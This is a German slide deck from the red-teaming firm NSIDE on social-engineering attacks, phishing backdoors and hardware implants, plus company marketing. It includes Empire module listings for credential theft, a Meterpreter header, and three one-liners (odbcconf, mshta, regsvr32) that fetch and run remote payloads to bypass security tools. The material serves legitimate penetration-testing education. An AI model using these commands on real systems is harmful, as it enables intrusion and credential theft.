



Offensive IT Security

whoami /all


Sascha Herzog - Technischer Geschäftsführer der NSIDE



- Penetration Tester/Red Teamer seit 2003
- Expertisen:
 - Red Team Assessments
 - Malware-Simulationen
 - Bypassing Techniken
 - Tactical Information Gathering
 - Social Engineering
 - Post Exploitation
 - Web Application Hacking
- Projektleiter in zahlreichen Penetration Tests, Security Audits und Red Team Assessments für Fortune 500, DAX 30, Regierungseinrichtungen und KMUs

Ablauf eines Red Team Assessments

Simulierte Angriffe auf "Critical Functions(CF)"



NSIDE - Red Teaming

Praktische Beispiele in der iX



iX 02/18

Mit allen Mitteln - Red Teaming: Angriffe auf Technik und Mensch

Link: <https://www.heise.de/ix/heft/Mit-allen-Mitteln-3948321.html>

iX 04/18

Gesammeltes Wissen - Red Teaming: Taktische Informationsbeschaffung

Link: <https://www.heise.de/ix/heft/Gesammeltes-Wissen-3997137.html>

iX 06/18

Eindringlingsalarm - Red Teaming: Zugriffe von außen

Link: <https://www.heise.de/ix/heft/Eindringlingsalarm-4054866.html>

iX 09/18

G0ne Phishing - Red Teaming: Gezielte Fallen stellen

Link: <https://www.heise.de/ix/heft/G0ne-Phishing-4140441.html>

Social Engineering(SE) Typen

Im Kontext von Red Team Assessments



- Technisches Profiling und Fingerprinting
- Informationssammlung per Telefon
- (Spear)Phishing
 - Credential Theft
 - **Backdoor Implants**
- Removable Media per Postsendung
- SE in On-Site Engagements
 - Informationsbeschaffung
 - **Hardware Implants**

(Spear) Phishing

Backdoor Implants - Payload Delivery Beispiele

```
using Microsoft.Office.InfoPath;
using System;
using System.Windows.Forms;
using System.Xml;
using System.Xml.XPath;

namespace HelloWorld
{
    public partial class FormCode
    {
        // Member variables are not su
        // Instead, write and read the
        // dictionary using code such
        //
        // private object _memberVari
        // {
        //     get
        //     {
        //         return FormState["_memberVariable"];
        //     }
        //     set
        //     {
        //         FormState["_memberVariable"] = value;
        //     }
        // }

        // NOTE: The following procedure is required by Microsoft InfoPath.
        // It can be modified using Microsoft InfoPath.
        public void InternalStartup()
        {
            // This code EXECS on form entry... think DLLMain
            System.Windows.Forms.MessageBox.Show("Coffee Time...");
            EventManager.FormEvents.Loading += new LoadingEventHandler(FormEvents_Loading);
        }

        public void FormEvents_Loading(object sender, LoadingEventArgs e)
        {
            System.Windows.Forms.MessageBox.Show("Execution at Form Entry...");
            // This code EXECS on form load
        }
    }
}
```

```
<?xml version="1.0" ?>
<!-- Mixing JScript and VBScript -->
<job id="SORT-VBScriptWithJScript">
  <script language="JScript">
    function SortVBArray(arrVBArray) {return arrVBArray.toArray().sort();}
  </script>
  <script language="VBScript">
    <![CDATA[
      '** Fastest sort: call the Jscript sort from VBScript
      myData = "a,b,c,1,2,3,X,Y,Z,p,d,q"
      wscript.echo "Original List of values: " & vbTab & myData
      starttime = timer()
      sortedArray = SortVBArray(split(myData,","))
      endtime=timer()
      jscriptTime = round(endtime-starttime,2)
      wscript.echo "JScript sorted in " & jscriptTime & " seconds: " & vbTab & sortedArray
    ]]>
  </script>
</job>
```

LOTUS NOTES .wsf

InfoPhish - InfoPath Phishing



The screenshot shows a Microsoft Excel spreadsheet with a phishing page titled "Was ist Microsoft Forms?". The page features the Microsoft logo and a warning message: "Hinweis: Wir möchten Ihnen die aktuellsten Inhalte so schnell und sicher wie möglich bereitstellen. Bitte erlauben Sie Hyperlinks für Remotedaten in Microsoft EXCEL, um Office365 Forms zu verwenden." Below the warning, there is a paragraph of text describing Microsoft Forms and a link to "Häufig gestellte Fragen". At the bottom, there are three icons with text: "In wenigen Minuten erstellt", "An jeden senden", and "Ergebnisse in Echtzeit anzeigen". The Excel interface shows the ribbon with various tabs like DATEI, START, EINFÜGEN, etc.

(Spear) Phishing

Backdoor Implant - MS EXCEL DDE



DEMO 1

(Spear) Phishing

Backdoor Implants



```
=====
[Empire] Post-Exploitation Framework
=====
[Version] 2.5 | [Web] https://github.com/empireProject/Empire
=====
```



```
285 modules currently loaded
1 listeners currently active
0 agents currently active
```

```
(Empire) >
agents      creds      exit      help      interac
(Empire) > preobfuscate
```

```
[>] Preobfuscate all PowerShell module_source files using obfus
This may take a substantial amount of time. [y/N] y
```

```
[>] Force reobfuscation of previously obfuscated modules? [y/N]
```


```
[*] Obfuscating Invoke-NinjaCopy.ps1...
[*] Obfuscating Invoke-Inveigh.ps1...
[*] Obfuscating Get-SQLColumnSampleData.ps1...
[*] Obfuscating Out-Minidump.ps1...
[*] Obfuscating Get-BrowserData.ps1...
[*] Obfuscating Get-ChromeDump.ps1...
[*] Obfuscating Invoke-NetRipper.ps1...
[*] Obfuscating Get-IndexedItem.ps1...
[*] Obfuscating Get-FoxDump.ps1...
[*] Obfuscating Get-SQLQuery.ps1...
[*] Obfuscating Get-Screenshot.ps1...
[*] Obfuscating Get-KeyStrokes.ps1...
[*] Obfuscating Get-ClipboardContents.ps1...
[*] Obfuscating Get-USBKeyStrokes.ps1...
[*] Obfuscating KeePassConfig.ps1...
[*] Obfuscating KeeThief.ps1...
[*] Obfuscating Invoke-Ntstd.ps1...
[*] Obfuscating Invoke-Shellcode.ps1...
[*] Obfuscating Invoke-ReflectivePEInjection.ps1...
[*] Obfuscating Invoke-MetasploitPayload.ps1...
[*] Obfuscating Invoke-ShellcodeMSIL.ps1...
[*] Obfuscating Invoke-DLLInjection.ps1...
[*] Obfuscating Find-Fruit.ps1...
[*] Obfuscating Get-SQLServerLoginDefaultPw.ps1...
[*] Obfuscating HTTP-Login.ps1...
[*] Obfuscating Invoke-SSHCommand.ps1...
[*] Obfuscating Invoke-DCOM.ps1...
[*] Obfuscating Invoke-ExecuteMSBuild.ps1...
[*] Obfuscating Invoke-InveighRelay.ps1...
[*] Obfuscating Invoke-SQLOSCmd.ps1...
[*] Obfuscating Invoke-PsExec.ps1...
[*] Obfuscating Invoke-SMBExec.ps1...
[*] Obfuscating Get-RickAstley.ps1...
[*] Obfuscating Install-SSP.ps1...
[*] Obfuscating Get-SecurityPackages.ps1...
[*] Obfuscating PowerBreach.ps1...
[*] Obfuscating Invoke-BackdoorLNK.ps1...
[*] Obfuscating dumpCredStore.ps1...
[*] Obfuscating Invoke-Mimikatz.ps1...
[*] Obfuscating Invoke-SessionGopher.ps1...
[*] Obfuscating Invoke-Kerberoast.ps1...
```

```
1 #ifndef _METERPRETER_SERVER_MSRV
2 #define _METERPRETER_SERVER_MSRV
3
4 /*
5 * Version number
6 *
7 *
8 *
9 *
10 */
11 #define METSRV_VERSION_NUMBER 0x0
12 #define USE_DLL
13 #define _WIN32_WINNT 0x0500
14 #define METERPRETER_EXPORTS
15 #include "../common/common.h"
16 #include "config.h"
17
18 #include "remote_dispatch.h"
19 #include "libloader.h"
20
21 #include "../ReflectiveDLLInjection/inject/src/GetProcAddress.h"
22 #include "../ReflectiveDLLInjection/inject/src/LoadLibraryR.h"
23 #include "../ReflectiveDLLInjection/dll/src/ReflectiveLoader.h"
24
25 #include "DWord server_setup(MetsrvConfig* config);
26 typedef DWORD (*PSRVINIT)(Remote *remote);
27 typedef DWORD (*PSRVGETNAME)(char* buffer, int bufferSize);
28 typedef VOID (*PCMDADDED)(const char* commandName);
29 typedef DWORD (*PSTAGELESSINIT)(LPBYTE data, DWORD dataSize);
30
31 typedef struct _EXTENSION
32 {
33     HMODULE library;
34     PSRVINIT init;
35     PSRVDEINIT deinit;
36     PSRVGETNAME getName;
37     PCMDADDED commandAdded;
38     PSTAGELESSINIT stagelessInit;
39     Command* start;
40     Command* end;
41     char name[16];
42 } EXTENSION, *PEXTENSION;
43 #endif
```

The screenshot shows the Cobalt Strike interface. At the top, there's a network diagram with nodes for 'whatta.hogg COPPER @ 2680', 'whatta.hogg GRANITE @ 4380', 'whatta.hogg GRANITE @ 5944', 'SYSTEM * COPPER @ 4284', and 'SYSTEM * DC @ 1752'. Below the diagram is a terminal window with the following content:

```
Event Log X Beacon 172.16.20.80@4380 X Beacon 172.16.20.80@5944 X Beacon 172.16.20.81@4284 X Processes 172.16.20.81@4284 X
[+] received output:
List of hosts:
Server Name      IP Address      Platform  Version  Type  Comment
-----
COPPER           172.16.20.81   500      10.0     PDC  Domain Controller
DC               172.16.20.3    500      6.1     PDC
GRANITE         172.16.20.80   500      6.1
```

Below the terminal, there's a command prompt showing a beacon task being executed on the COPPER host via Service Control Manager (PSH). The output shows that the service '2b66a4c' was started on COPPER, and a link was established to a child beacon on 172.16.20.81.



(Spear) Phishing



Bypassing of Security Technologies (EPP, NGFW, Sandboxing, App Whitelisting, etc.)

- Script Execution (VBS, VBE, JS, JSE, WSF, etc.)
- In-Memory Execution
- Download/Execute via signed MS Binaries
- Shellcode Injection via VBS/JScript
- DLL-Injection via signed MS-Binaries (ClickOnce, etc.)
- Dynamic Data Exchange (DDE)
- In-Memory Payload Decryption (XOR Bruteforce)

```
1 | odbccconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
```

```
1 | mshta vbscript:Close(Execute("GetObject("script:http://webserver/payload.sct")"))
```

```
1 | regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
```

Social Engineering(SE) Typen

On-Site Engagements - Hardware Implants



```
Modules
] autossh      AutosSH maintains persistent secure shells
[ ] cron        Schedule Tasks
[ ] dns-spoof   dnsspoof forges replies to arbitrary DNS addr
[X] dnsmasq-spoof  DNSSpoof using DNSMasq instead of Dsniff tool
[ ] follow-file Follow log printing data as file grows
[ ] keymanager  SSH Key Manager
[ ] meterpreter Metasploit payload to maintain shells
[ ] netcat-revshell NetCat Reverse Shell
[ ] nmap-scan   Network Mapper discovers hosts and services o
[ ] openvpn    Openvpn client
[ ] ptunnel    Proxies TCP over Ping (ICMP) traffic
[ ] script2email Email script output via SMTP
v(+)
75%
<SELECT> < BACK >
```

(Spear) Phishing

Hardware Implant - Pi Zero W - NetNTLM MitM



DEMO 2

NSIDE ATTACK LOGIC



Überblick

Über NSIDE

- Gegründet in 2014 in München
- Management Team:
 - Sascha Herzog
 - Verena Herzog-Pohl

Referenzen

- Tätig für 8 der DAX 30 Unternehmen
- Vodafone: Gewinner „2016 Pentest Benchmark“; Mitglied der Hall of Fame für herausragende Leistungen
- Gewinner „2016 Cyber Security Challenge Germany“
- IoT-Scanner mit der "Süddeutschen Zeitung" (Nov. 2016)
- Artikel in zahlreichen Zeitungen und Zeitschriften (z.B. iX, Handelsblatt, FAZ, SZ, Welt am Sonntag)
- Live Hackings auf Messen/Konferenzen (CeBIT, it-sa, Bullet Proof Conference, DuD, IKT Sicherheitskonferenz etc.)

Expertise

Kommunikation, Medien, Hi-tech	Consumer Products	Energie & Chemie	Produzierende Industrie & Verteidigung	Finanz- institutione n	Öffentlicher Bereich
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Services (NSIDE):

- Red Team Assessments & Angriffssimulationen
- Tactical Information Gathering & Strategic Security
- Penetration Tests & Web Application Hacking
- (I)IoT, SCADA & Hardware Hacking
- Social Engineering & Awareness Trainings
- Source Code Audits & Technische Beratung
- Live Hacking & Security Workshops

NSIDE ATTACK LOGIC




Kunden und Referenzen (Auszug)

Kommunikation, Media, Hi-Tech	<ul style="list-style-type: none">▪ Vodafone Deutschland▪ Große Medien-Gruppen▪ DAX 30 Hi-Tech-Unternehmen▪ Telekommunikationsunternehmen USA/DE/CH/FR▪ Führender Anbieter und Hersteller aus der Kommunikationstechnologie
Consumer Products & Pharma	<ul style="list-style-type: none">▪ Führender globaler Sportartikel-Hersteller▪ Mittelständische und kleine Pharmaunternehmen▪ Zahlreiche KMUs aller Art
Energie & Chemie	<ul style="list-style-type: none">▪ Große und mittelständische Chemiekonzerne in Deutschland und UK▪ Deutsche und schweizer Energieversorgungsunternehmen▪ Staatliche Energiekonzerne und Netzbetreiber
Produzierende Industrie	<ul style="list-style-type: none">▪ Viele verschiedene KMUs▪ Maschinenfabrik Reinhausen (IoT-Buch and Live-Hacking-Kooperationen)▪ Rohde & Schwarz (Live Hackings)
Finanzinstitutionen	<ul style="list-style-type: none">▪ Einige DAX-Unternehmen (Banken und Versicherer)▪ Zahlreiche Banken in Deutschland und der Schweiz▪ Schweizer Versicherungen
Öffentlicher Sektor & Verteidigung	<ul style="list-style-type: none">▪ Fraunhofer-Institut IGCV (Forschungskooperationen und Roboter Live Hacking)▪ Regierungseinrichtungen, Polizei, Militär, Rüstungskonzerne (DACH-Region)

NSIDE ATTACK LOGIC

Management Team



Sascha Herzog
(CEO – Strategie, Software, Operations)

- Penetration Tester und Ethical Hacker seit 2003 (Compass Security, Berlin/Zürich und atsec GmbH, München)
- Expertise:
 - Red Team Assessments
 - Malware-Simulationen
 - Tactical Information Gathering
 - Social Engineering
 - Post Exploitation
 - Web Application Hacking
- Projektleiter in zahlreichen Penetration Tests, Security Audits und Red Team Assessments für Fortune 500, DAX 30, Regierungseinrichtungen und KMUs



Verena Herzog-Pohl
(CFO - Sales, Finanzen& Controlling, HR)

- BA und Master in Media & Communications an der Universität Augsburg und Sydney
- Gründerin von Flying Fox Films, Sydney (TV- und Werbefilm-Produktion)
- Events, PR, Marketing & Sales
- Controlling, Legal, Finance
- Quereinsteiger und Enthusiastin des offensiven IT-Security-Markts
- Sorgt dafür, dass die Projekte laufen und die Firma profitabel wächst

NSIDE ATTACK LOGIC

Referenzen & Partner (Auszug)





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